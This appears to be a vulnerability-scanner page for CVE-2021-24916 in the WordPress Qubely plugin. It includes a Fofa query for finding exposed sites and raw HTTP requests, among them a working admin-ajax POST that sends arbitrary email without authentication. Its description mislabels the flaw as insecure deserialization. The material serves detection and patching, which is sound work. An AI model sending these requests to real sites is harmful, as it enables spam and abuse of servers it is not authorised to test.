| Title | WordPress Qubely < 1.8.6 - Unauthenticated Email Sending |
|---|---|
| Author | roberto |
| Severity | High |
| Impact | Attackers can send spam or malicious emails from the server, potentially leading to spam blacklisting or abuse. |
| Remediation | Update to version 1.8.6 or later |
| CVSS Score | 5.3 |
| EPSS Score | 0.43682 |
| CVE ID | CVE-2021-24916 |
| CWE ID | CWE-284 |
| Fofa Query | body="qubely_urls" |
| Tags | cve cve2021 wordpress wp-plugin qubely wp email unauth |
Qubely WordPress plugin < 1.8.6 contains an insecure deserialization caused by unauthenticated users being able to send arbitrary emails via the qubely_send_form_data AJAX action, letting attackers send spam or malicious emails, exploit requires no authentication.
GET /wp-content/plugins/qubely/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/13.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 249
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=qubely_send_form_data&email-receiver=test@example.com&email-subject=CVE-2021-24916+Test&email-body=test&field-error-message=err&form-success-message=qubely49fc16d8&form-error-message=qubely49fc16d8&qubely-form-input[name]=test&security=tvCW7H
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24916.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24916.pcap
N/AN/A